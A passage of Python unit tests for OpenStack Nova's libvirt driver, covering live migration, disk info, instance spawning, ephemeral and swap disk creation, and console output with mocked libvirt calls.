side_effect=check_instance_dir), mock.patch.object(drvr, 'ensure_filtering_rules_for_instance'), mock.patch.object(drvr, 'plug_vifs'), ) as ( create_image_mock, rules_mock, plug_mock, ): disk_info_json = jsonutils.dumps({}) res = drvr.pre_live_migration(self.context, instance, block_device_info=None, network_info=[], disk_info=disk_info_json, migrate_data=migrate_data) create_image_mock.assert_has_calls( [mock.call(self.context, instance, mock.ANY, {}, fallback_from_host=instance.host)]) self.assertIsInstance(res, dict) def test_pre_live_migration_block_migrate_fails(self): bdms = [{ 'connection_info': { 'serial': '12345', u'data': { 'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.abc.12345.t-lun-X' } }, 'mount_device': '/dev/sda'}] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, 'ensure_filtering_rules_for_instance'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr, '_connect_volume'), mock.patch.object(driver, 'block_device_info_get_mapping', return_value=bdms)): disk_info_json = jsonutils.dumps({}) self.assertRaises(exception.MigrationError, drvr.pre_live_migration, self.context, instance, block_device_info=None, network_info=[], disk_info=disk_info_json, migrate_data={}) def test_get_instance_disk_info_works_correctly(self): # Test data instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance.name: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) fake_libvirt_utils.disk_sizes['/test/disk'] = 10 * units.Gi fake_libvirt_utils.disk_sizes['/test/disk.local'] = 20 * units.Gi fake_libvirt_utils.disk_backing_files['/test/disk.local'] = 'file' self.mox.StubOutWithMock(os.path, "getsize") os.path.getsize('/test/disk').AndReturn((10737418240)) os.path.getsize('/test/disk.local').AndReturn((3328599655)) ret = ("image: /test/disk\n" "file format: raw\n" "virtual size: 20G (21474836480 bytes)\n" "disk size: 3.1G\n" "cluster_size: 2097152\n" "backing file: /test/dummy (actual path: /backing/file)\n") self.mox.StubOutWithMock(os.path, "exists") os.path.exists('/test/disk.local').AndReturn(True) self.mox.StubOutWithMock(utils, "execute") utils.execute('env', 'LC_ALL=C', 'LANG=C', 'qemu-img', 'info', '/test/disk.local').AndReturn((ret, '')) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) info = drvr.get_instance_disk_info(instance) info = jsonutils.loads(info) self.assertEqual(info[0]['type'], 'raw') self.assertEqual(info[0]['path'], '/test/disk') self.assertEqual(info[0]['disk_size'], 10737418240) self.assertEqual(info[0]['backing_file'], "") self.assertEqual(info[0]['over_committed_disk_size'], 0) self.assertEqual(info[1]['type'], 'qcow2') self.assertEqual(info[1]['path'], '/test/disk.local') self.assertEqual(info[1]['virt_disk_size'], 21474836480) self.assertEqual(info[1]['backing_file'], "file") self.assertEqual(info[1]['over_committed_disk_size'], 18146236825) def test_post_live_migration(self): vol = {'block_device_mapping': [ {'connection_info': 'dummy1', 'mount_device': '/dev/sda'}, {'connection_info': 'dummy2', 'mount_device': '/dev/sdb'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) inst_ref = {'id': 'foo'} cntx = context.get_admin_context() # Set up the mock expectations with contextlib.nested( mock.patch.object(driver, 'block_device_info_get_mapping', return_value=vol['block_device_mapping']), mock.patch.object(drvr, '_disconnect_volume') ) as (block_device_info_get_mapping, _disconnect_volume): drvr.post_live_migration(cntx, inst_ref, vol) block_device_info_get_mapping.assert_has_calls([ mock.call(vol)]) _disconnect_volume.assert_has_calls([ mock.call(v['connection_info'], v['mount_device'].rpartition("/")[2]) for v in vol['block_device_mapping']]) def test_get_instance_disk_info_excludes_volumes(self): # Test data instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/fake/path/to/volume1'/>" "<target dev='vdc' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/fake/path/to/volume2'/>" "<target dev='vdd' bus='virtio'/></disk>" "</devices></domain>") # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance.name: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) fake_libvirt_utils.disk_sizes['/test/disk'] = 10 * units.Gi fake_libvirt_utils.disk_sizes['/test/disk.local'] = 20 * units.Gi fake_libvirt_utils.disk_backing_files['/test/disk.local'] = 'file' self.mox.StubOutWithMock(os.path, "getsize") os.path.getsize('/test/disk').AndReturn((10737418240)) os.path.getsize('/test/disk.local').AndReturn((3328599655)) ret = ("image: /test/disk\n" "file format: raw\n" "virtual size: 20G (21474836480 bytes)\n" "disk size: 3.1G\n" "cluster_size: 2097152\n" "backing file: /test/dummy (actual path: /backing/file)\n") self.mox.StubOutWithMock(os.path, "exists") os.path.exists('/test/disk.local').AndReturn(True) self.mox.StubOutWithMock(utils, "execute") utils.execute('env', 'LC_ALL=C', 'LANG=C', 'qemu-img', 'info', '/test/disk.local').AndReturn((ret, '')) self.mox.ReplayAll() conn_info = {'driver_volume_type': 'fake'} info = {'block_device_mapping': [ {'connection_info': conn_info, 'mount_device': '/dev/vdc'}, {'connection_info': conn_info, 'mount_device': '/dev/vdd'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) info = drvr.get_instance_disk_info(instance, block_device_info=info) info = jsonutils.loads(info) self.assertEqual(info[0]['type'], 'raw') self.assertEqual(info[0]['path'], '/test/disk') self.assertEqual(info[0]['disk_size'], 10737418240) self.assertEqual(info[0]['backing_file'], "") self.assertEqual(info[0]['over_committed_disk_size'], 0) self.assertEqual(info[1]['type'], 'qcow2') self.assertEqual(info[1]['path'], '/test/disk.local') self.assertEqual(info[1]['virt_disk_size'], 21474836480) self.assertEqual(info[1]['backing_file'], "file") self.assertEqual(info[1]['over_committed_disk_size'], 18146236825) def test_get_instance_disk_info_no_bdinfo_passed(self): # NOTE(ndipanov): _get_disk_overcomitted_size_total calls this method # without access to Nova's block device information. We want to make # sure that we guess volumes mostly correctly in that case as well instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='block'><driver name='qemu' type='raw'/>" "<source file='/fake/path/to/volume1'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance.name: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) fake_libvirt_utils.disk_sizes['/test/disk'] = 10 * units.Gi self.mox.StubOutWithMock(os.path, "getsize") os.path.getsize('/test/disk').AndReturn((10737418240)) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) info = drvr.get_instance_disk_info(instance) info = jsonutils.loads(info) self.assertEqual(1, len(info)) self.assertEqual(info[0]['type'], 'raw') self.assertEqual(info[0]['path'], '/test/disk') self.assertEqual(info[0]['disk_size'], 10737418240) self.assertEqual(info[0]['backing_file'], "") self.assertEqual(info[0]['over_committed_disk_size'], 0) def test_spawn_with_network_info(self): # Preparing mocks def fake_none(*args, **kwargs): return def fake_getLibVersion(): return 9011 def fake_getCapabilities(): return """ <capabilities> <host> <uuid>cef19ce0-0ca2-11df-855d-b19fbce37686</uuid> <cpu> <arch>x86_64</arch> <model>Penryn</model> <vendor>Intel</vendor> <topology sockets='1' cores='2' threads='1'/> <feature name='xtpr'/> </cpu> </host> </capabilities> """ def fake_baselineCPU(cpu, flag): return """<cpu mode='custom' match='exact'> <model fallback='allow'>Penryn</model> <vendor>Intel</vendor> <feature policy='require' name='xtpr'/> </cpu> """ # _fake_network_info must be called before create_fake_libvirt_mock(), # as _fake_network_info calls importutils.import_class() and # create_fake_libvirt_mock() mocks importutils.import_class(). network_info = _fake_network_info(self.stubs, 1) self.create_fake_libvirt_mock(getLibVersion=fake_getLibVersion, getCapabilities=fake_getCapabilities, getVersion=lambda: 1005001, baselineCPU=fake_baselineCPU) instance_ref = self.test_instance instance_ref['image_ref'] = 123456 # we send an int to test sha1 call instance = objects.Instance(**instance_ref) image_meta = {} # Mock out the get_info method of the LibvirtDriver so that the polling # in the spawn method of the LibvirtDriver returns immediately self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'get_info') libvirt_driver.LibvirtDriver.get_info(instance ).AndReturn(hardware.InstanceInfo(state=power_state.RUNNING)) # Start test self.mox.ReplayAll() with mock.patch('nova.virt.libvirt.driver.libvirt') as old_virt: del old_virt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr.firewall_driver, 'setup_basic_filtering', fake_none) self.stubs.Set(drvr.firewall_driver, 'prepare_instance_filter', fake_none) self.stubs.Set(imagebackend.Image, 'cache', fake_none) drvr.spawn(self.context, instance, image_meta, [], 'herp', network_info=network_info) path = os.path.join(CONF.instances_path, instance['name']) if os.path.isdir(path): shutil.rmtree(path) path = os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name) if os.path.isdir(path): shutil.rmtree(os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name)) def test_spawn_without_image_meta(self): self.create_image_called = False def fake_none(*args, **kwargs): return def fake_create_image(*args, **kwargs): self.create_image_called = True def fake_get_info(instance): return hardware.InstanceInfo(state=power_state.RUNNING) instance_ref = self.test_instance instance_ref['image_ref'] = 1 instance = objects.Instance(**instance_ref) image_meta = {} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_none) self.stubs.Set(drvr, '_create_image', fake_create_image) self.stubs.Set(drvr, '_create_domain_and_network', fake_none) self.stubs.Set(drvr, 'get_info', fake_get_info) drvr.spawn(self.context, instance, image_meta, [], None) self.assertTrue(self.create_image_called) drvr.spawn(self.context, instance, {'id': instance['image_ref']}, [], None) self.assertTrue(self.create_image_called) def test_spawn_from_volume_calls_cache(self): self.cache_called_for_disk = False def fake_none(*args, **kwargs): return def fake_cache(*args, **kwargs): if kwargs.get('image_id') == 'my_fake_image': self.cache_called_for_disk = True def fake_get_info(instance): return hardware.InstanceInfo(state=power_state.RUNNING) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_none) self.stubs.Set(imagebackend.Image, 'cache', fake_cache) self.stubs.Set(drvr, '_create_domain_and_network', fake_none) self.stubs.Set(drvr, 'get_info', fake_get_info) block_device_info = {'root_device_name': '/dev/vda', 'block_device_mapping': [ {'mount_device': 'vda', 'boot_index': 0} ] } # Volume-backed instance created without image instance_ref = self.test_instance instance_ref['image_ref'] = '' instance_ref['root_device_name'] = '/dev/vda' instance_ref['uuid'] = uuidutils.generate_uuid() instance = objects.Instance(**instance_ref) image_meta = {} drvr.spawn(self.context, instance, image_meta, [], None, block_device_info=block_device_info) self.assertFalse(self.cache_called_for_disk) # Booted from volume but with placeholder image instance_ref = self.test_instance instance_ref['image_ref'] = 'my_fake_image' instance_ref['root_device_name'] = '/dev/vda' instance_ref['uuid'] = uuidutils.generate_uuid() instance = objects.Instance(**instance_ref) image_meta = {} drvr.spawn(self.context, instance, image_meta, [], None, block_device_info=block_device_info) self.assertFalse(self.cache_called_for_disk) # Booted from an image instance_ref['image_ref'] = 'my_fake_image' instance_ref['uuid'] = uuidutils.generate_uuid() instance = objects.Instance(**instance_ref) drvr.spawn(self.context, instance, image_meta, [], None) self.assertTrue(self.cache_called_for_disk) def test_start_lxc_from_volume(self): self.flags(virt_type="lxc", group='libvirt') def check_setup_container(image, container_dir=None): self.assertEqual(image.path, '/dev/path/to/dev') self.assertEqual(image.format, imgmodel.FORMAT_QCOW2) return '/dev/nbd1' bdm = { 'guest_format': None, 'boot_index': 0, 'mount_device': '/dev/sda', 'connection_info': { 'driver_volume_type': 'iscsi', 'serial': 'afc1', 'data': { 'access_mode': 'rw', 'device_path': '/dev/path/to/dev', 'target_discovered': False, 'encrypted': False, 'qos_specs': None, 'target_iqn': 'iqn: volume-afc1', 'target_portal': 'ip: 3260', 'volume_id': 'afc1', 'target_lun': 1, 'auth_password': 'uj', 'auth_username': '47', 'auth_method': 'CHAP' } }, 'disk_bus': 'scsi', 'device_type': 'disk', 'delete_on_termination': False } def _get(key, opt=None): return bdm.get(key, opt) def getitem(key): return bdm[key] def setitem(key, val): bdm[key] = val bdm_mock = mock.MagicMock() bdm_mock.__getitem__.side_effect = getitem bdm_mock.__setitem__.side_effect = setitem bdm_mock.get = _get disk_mock = mock.MagicMock() disk_mock.source_path = '/dev/path/to/dev' block_device_info = {'block_device_mapping': [bdm_mock], 'root_device_name': '/dev/sda'} # Volume-backed instance created without image instance_ref = self.test_instance instance_ref['image_ref'] = '' instance_ref['root_device_name'] = '/dev/sda' instance_ref['ephemeral_gb'] = 0 instance_ref['uuid'] = uuidutils.generate_uuid() instance_ref['system_metadata']['image_disk_format'] = 'qcow2' inst_obj = objects.Instance(**instance_ref) image_meta = {} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr.firewall_driver, 'setup_basic_filtering'), mock.patch.object(drvr.firewall_driver, 'prepare_instance_filter'), mock.patch.object(drvr.firewall_driver, 'apply_instance_filter'), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr, '_connect_volume'), mock.patch.object(drvr, '_get_volume_config', return_value=disk_mock), mock.patch.object(drvr, 'get_info', return_value=hardware.InstanceInfo( state=power_state.RUNNING)), mock.patch('nova.virt.disk.api.setup_container', side_effect=check_setup_container), mock.patch('nova.virt.disk.api.teardown_container'), mock.patch.object(objects.Instance, 'save')): drvr.spawn(self.context, inst_obj, image_meta, [], None, network_info=[], block_device_info=block_device_info) self.assertEqual('/dev/nbd1', inst_obj.system_metadata.get( 'rootfs_device_name')) def test_spawn_with_pci_devices(self): def fake_none(*args, **kwargs): return None def fake_get_info(instance): return hardware.InstanceInfo(state=power_state.RUNNING) class FakeLibvirtPciDevice(object): def dettach(self): return None def reset(self): return None def fake_node_device_lookup_by_name(address): pattern = ("pci_%(hex)s{4}_%(hex)s{2}_%(hex)s{2}_%(oct)s{1}" % dict(hex='[\da-f]', oct='[0-8]')) pattern = re.compile(pattern) if pattern.match(address) is None: raise fakelibvirt.libvirtError() return FakeLibvirtPciDevice() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_none) self.stubs.Set(drvr, '_create_image', fake_none) self.stubs.Set(drvr, '_create_domain_and_network', fake_none) self.stubs.Set(drvr, 'get_info', fake_get_info) drvr._conn.nodeDeviceLookupByName = \ fake_node_device_lookup_by_name instance_ref = self.test_instance instance_ref['image_ref'] = 'my_fake_image' instance = objects.Instance(**instance_ref) instance['pci_devices'] = objects.PciDeviceList( objects=[objects.PciDevice(address='0000:00:00.0')]) image_meta = {} drvr.spawn(self.context, instance, image_meta, [], None) def test_chown_disk_config_for_instance(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) self.mox.StubOutWithMock(fake_libvirt_utils, 'get_instance_path') self.mox.StubOutWithMock(os.path, 'exists') self.mox.StubOutWithMock(fake_libvirt_utils, 'chown') fake_libvirt_utils.get_instance_path(instance).AndReturn('/tmp/uuid') os.path.exists('/tmp/uuid/disk.config').AndReturn(True) fake_libvirt_utils.chown('/tmp/uuid/disk.config', os.getuid()) self.mox.ReplayAll() drvr._chown_disk_config_for_instance(instance) def _test_create_image_plain(self, os_type='', filename='', mkfs=False): gotFiles = [] def fake_image(self, instance, name, image_type=''): class FakeImage(imagebackend.Image): def __init__(self, instance, name, is_block_dev=False): self.path = os.path.join(instance['name'], name) self.is_block_dev = is_block_dev def create_image(self, prepare_template, base, size, *args, **kwargs): pass def cache(self, fetch_func, filename, size=None, *args, **kwargs): gotFiles.append({'filename': filename, 'size': size}) def snapshot(self, name): pass return FakeImage(instance, name) def fake_none(*args, **kwargs): return def fake_get_info(instance): return hardware.InstanceInfo(state=power_state.RUNNING) # Stop 'libvirt_driver._create_image' touching filesystem self.stubs.Set(nova.virt.libvirt.imagebackend.Backend, "image", fake_image) instance_ref = self.test_instance instance_ref['image_ref'] = 1 instance = objects.Instance(**instance_ref) instance['os_type'] = os_type drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_none) self.stubs.Set(drvr, '_create_domain_and_network', fake_none) self.stubs.Set(drvr, 'get_info', fake_get_info) if mkfs: self.stubs.Set(nova.virt.disk.api, '_MKFS_COMMAND', {os_type: 'mkfs.ext4 --label %(fs_label)s %(target)s'}) image_meta = {'id': instance['image_ref']} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) drvr._create_image(context, instance, disk_info['mapping']) drvr._get_guest_xml(self.context, instance, None, disk_info, image_meta) wantFiles = [ {'filename': '356a192b7913b04c54574d18c28d46e6395428ab', 'size': 10 * units.Gi}, {'filename': filename, 'size': 20 * units.Gi}, ] self.assertEqual(gotFiles, wantFiles) def test_create_image_plain_os_type_blank(self): self._test_create_image_plain(os_type='', filename=self._EPHEMERAL_20_DEFAULT, mkfs=False) def test_create_image_plain_os_type_none(self): self._test_create_image_plain(os_type=None, filename=self._EPHEMERAL_20_DEFAULT, mkfs=False) def test_create_image_plain_os_type_set_no_fs(self): self._test_create_image_plain(os_type='test', filename=self._EPHEMERAL_20_DEFAULT, mkfs=False) def test_create_image_plain_os_type_set_with_fs(self): ephemeral_file_name = ('ephemeral_20_%s' % utils.get_hash_str( 'mkfs.ext4 --label %(fs_label)s %(target)s')[:7]) self._test_create_image_plain(os_type='test', filename=ephemeral_file_name, mkfs=True) def test_create_image_with_swap(self): gotFiles = [] def fake_image(self, instance, name, image_type=''): class FakeImage(imagebackend.Image): def __init__(self, instance, name, is_block_dev=False): self.path = os.path.join(instance['name'], name) self.is_block_dev = is_block_dev def create_image(self, prepare_template, base, size, *args, **kwargs): pass def cache(self, fetch_func, filename, size=None, *args, **kwargs): gotFiles.append({'filename': filename, 'size': size}) def snapshot(self, name): pass return FakeImage(instance, name) def fake_none(*args, **kwargs): return def fake_get_info(instance): return hardware.InstanceInfo(state=power_state.RUNNING) # Stop 'libvirt_driver._create_image' touching filesystem self.stubs.Set(nova.virt.libvirt.imagebackend.Backend, "image", fake_image) instance_ref = self.test_instance instance_ref['image_ref'] = 1 instance = objects.Instance(**instance_ref) # Turn on some swap to exercise that codepath in _create_image instance.flavor.swap = 500 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_none) self.stubs.Set(drvr, '_create_domain_and_network', fake_none) self.stubs.Set(drvr, 'get_info', fake_get_info) image_meta = {'id': instance['image_ref']} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) drvr._create_image(context, instance, disk_info['mapping']) drvr._get_guest_xml(self.context, instance, None, disk_info, image_meta) wantFiles = [ {'filename': '356a192b7913b04c54574d18c28d46e6395428ab', 'size': 10 * units.Gi}, {'filename': self._EPHEMERAL_20_DEFAULT, 'size': 20 * units.Gi}, {'filename': 'swap_500', 'size': 500 * units.Mi}, ] self.assertEqual(gotFiles, wantFiles) @mock.patch.object(nova.virt.libvirt.imagebackend.Image, 'cache', side_effect=exception.ImageNotFound(image_id='fake-id')) def test_create_image_not_exist_no_fallback(self, mock_cache): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) image_meta = {'id': instance.image_ref} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) self.assertRaises(exception.ImageNotFound, drvr._create_image, self.context, instance, disk_info['mapping']) @mock.patch.object(nova.virt.libvirt.imagebackend.Image, 'cache') def test_create_image_not_exist_fallback(self, mock_cache): def side_effect(fetch_func, filename, size=None, *args, **kwargs): def second_call(fetch_func, filename, size=None, *args, **kwargs): # call copy_from_host ourselves because we mocked image.cache() fetch_func('fake-target', 'fake-max-size') # further calls have no side effect mock_cache.side_effect = None mock_cache.side_effect = second_call # raise an error only the first call raise exception.ImageNotFound(image_id='fake-id') mock_cache.side_effect = side_effect drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) image_meta = {'id': instance.image_ref} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) with mock.patch.object(libvirt_driver.libvirt_utils, 'copy_image') as mock_copy: drvr._create_image(self.context, instance, disk_info['mapping'], fallback_from_host='fake-source-host') mock_copy.assert_called_once_with(src='fake-target', dest='fake-target', host='fake-source-host', receive=True) @mock.patch.object(utils, 'execute') def test_create_ephemeral_specified_fs(self, mock_exec): self.flags(default_ephemeral_format='ext3') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr._create_ephemeral('/dev/something', 20, 'myVol', 'linux', is_block_dev=True, max_size=20, specified_fs='ext4') mock_exec.assert_called_once_with('mkfs', '-t', 'ext4', '-F', '-L', 'myVol', '/dev/something', run_as_root=True) def test_create_ephemeral_specified_fs_not_valid(self): CONF.set_override('default_ephemeral_format', 'ext4') ephemerals = [{'device_type': 'disk', 'disk_bus': 'virtio', 'device_name': '/dev/vdb', 'guest_format': 'dummy', 'size': 1}] block_device_info = { 'ephemerals': ephemerals} instance_ref = self.test_instance instance_ref['image_ref'] = 1 instance = objects.Instance(**instance_ref) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) image_meta = {'id': instance['image_ref']} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) disk_info['mapping'].pop('disk.local') with contextlib.nested( mock.patch.object(utils, 'execute'), mock.patch.object(drvr, 'get_info'), mock.patch.object(drvr, '_create_domain_and_network'), mock.patch.object(imagebackend.Image, 'verify_base_size')): self.assertRaises(exception.InvalidBDMFormat, drvr._create_image, context, instance, disk_info['mapping'], block_device_info=block_device_info) def test_create_ephemeral_default(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(utils, 'execute') utils.execute('mkfs', '-t', 'ext4', '-F', '-L', 'myVol', '/dev/something', run_as_root=True) self.mox.ReplayAll() drvr._create_ephemeral('/dev/something', 20, 'myVol', 'linux', is_block_dev=True, max_size=20) def test_create_ephemeral_with_conf(self): CONF.set_override('default_ephemeral_format', 'ext4') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(utils, 'execute') utils.execute('mkfs', '-t', 'ext4', '-F', '-L', 'myVol', '/dev/something', run_as_root=True) self.mox.ReplayAll() drvr._create_ephemeral('/dev/something', 20, 'myVol', 'linux', is_block_dev=True) def test_create_ephemeral_with_arbitrary(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(nova.virt.disk.api, '_MKFS_COMMAND', {'linux': 'mkfs.ext4 --label %(fs_label)s %(target)s'}) self.mox.StubOutWithMock(utils, 'execute') utils.execute('mkfs.ext4', '--label', 'myVol', '/dev/something', run_as_root=True) self.mox.ReplayAll() drvr._create_ephemeral('/dev/something', 20, 'myVol', 'linux', is_block_dev=True) def test_create_ephemeral_with_ext3(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(nova.virt.disk.api, '_MKFS_COMMAND', {'linux': 'mkfs.ext3 --label %(fs_label)s %(target)s'}) self.mox.StubOutWithMock(utils, 'execute') utils.execute('mkfs.ext3', '--label', 'myVol', '/dev/something', run_as_root=True) self.mox.ReplayAll() drvr._create_ephemeral('/dev/something', 20, 'myVol', 'linux', is_block_dev=True) def test_create_swap_default(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(utils, 'execute') utils.execute('mkswap', '/dev/something', run_as_root=False) self.mox.ReplayAll() drvr._create_swap('/dev/something', 1, max_size=20) def test_get_console_output_file(self): fake_libvirt_utils.files['console.log'] = '01234567890' with utils.tempdir() as tmpdir: self.flags(instances_path=tmpdir) instance_ref = self.test_instance instance_ref['image_ref'] = 123456 instance = objects.Instance(**instance_ref) console_dir = (os.path.join(tmpdir, instance['name'])) console_log = '%s/console.log' % (console_dir) fake_dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <console type='file'> <source path='%s'/> <target port='0'/> </console> </devices> </domain> """ % console_log def fake_lookup(id): return FakeVirtDomain(fake_dom_xml) self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = fake_lookup drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) try: prev_max = libvirt_driver.MAX_CONSOLE_BYTES libvirt_driver.MAX_CONSOLE_BYTES = 5 with mock.patch('os.path.exists', return_value=True): output = drvr.get_console_output(self.context, instance) finally: libvirt_driver.MAX_CONSOLE_BYTES = prev_max self.assertEqual('67890', output) def test_get_console_output_file_missing(self): with utils.tempdir() as tmpdir: self.flags(instances_path=tmpdir) instance_ref = self.test_instance instance_ref['image_ref'] = 123456 instance = objects.Instance(**instance_ref) console_log = os.path.join(tmpdir, instance['name'], 'non-existent.log') fake_dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <console type='file'> <source path='%s'/> <target port='0'/> </console> </devices> </domain> """ % console_log def fake_lookup(id): return FakeVirtDomain(fake_dom_xml) self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = fake_lookup drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch('os.path.exists', return_value=False): output = drvr.get_console_output(self.context, instance) self.assertEqual('', output) def test_get_console_output_pty(self): fake_libvirt_utils.files['pty'] = '01234567890' with utils.tempdir() as tmpdir: self.flags(instances_path=tmpdir) instance_ref = self.test_instance instance_ref['image_ref'] = 123456 instance = objects.Instance(**instance_ref) console_dir = (os.path.join(tmpdir, instance['name'])) pty_file = '%s/fake_pty' % (console_dir) fake_dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <console type='pty'> <source path='%s'/> <target port='0'/> </console> </devices> </domain> """ % pty_file def fake_lookup(id): return FakeVirtDomain(fake_dom_xml) def _fake_flush(self, fake_pty): return 'foo' def _fake_append_to_file(self, data, fpath): return 'pty' self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = fake_lookup libvirt_driver.LibvirtDriver._flush_libvirt_console = _fake_flush libvirt_driver.LibvirtDriver._append_to_file = _fake_append_to_file drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) try: prev_max = libvirt_driver.MAX_CONSOLE_BYTES libvirt_driver.MAX_CONSOLE_BYTES = 5 output = drvr.get_console_output(self.context, instance) finally: libvirt_driver.MAX_CONSOLE_BYTES = prev_max self.assertEqual('67890', output) def test_get_host_ip_addr(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ip = drvr.get_host_ip_addr() self.assertEqual(ip, CONF.my_ip) @mock.patch.object(libvirt_driver.LOG, 'warn') @mock.patch('nova.compute.utils.get_machine_ips') def test_get_host_ip_addr_failure(self, mock_ips, mock_log): mock_ips.return_value = ['8.8.8.8', '75.75.75.75'] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr.get_host_ip_addr() mock_log.assert_called_once_with(u'my_ip address (%(my_ip)s) was ' u'not found on any of the ' u'interfaces: %(ifaces)s', {'ifaces': '8.8.8.8, 75.75.75.75', 'my_ip': mock.ANY}) def test_conn_event_handler(self): self.mox.UnsetStubs() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) service_mock = mock.MagicMock() service_mock.disabled.return_value = False with contextlib.nested( mock.patch.object(drvr._host, "_connect", side_effect=fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, "Failed to connect to host", error_code= fakelibvirt.VIR_ERR_INTERNAL_ERROR)), mock.patch.object(drvr._host, "_init_events", return_value=None), mock.patch.object(objects.Service, "get_by_compute_host", return_value=service_mock)): # verify that the driver registers for the close callback # and re-connects after receiving the callback self.assertRaises(exception.HypervisorUnavailable, drvr.init_host, "wibble") self.assertTrue(service_mock.disabled) def test_command_with_broken_connection(self): 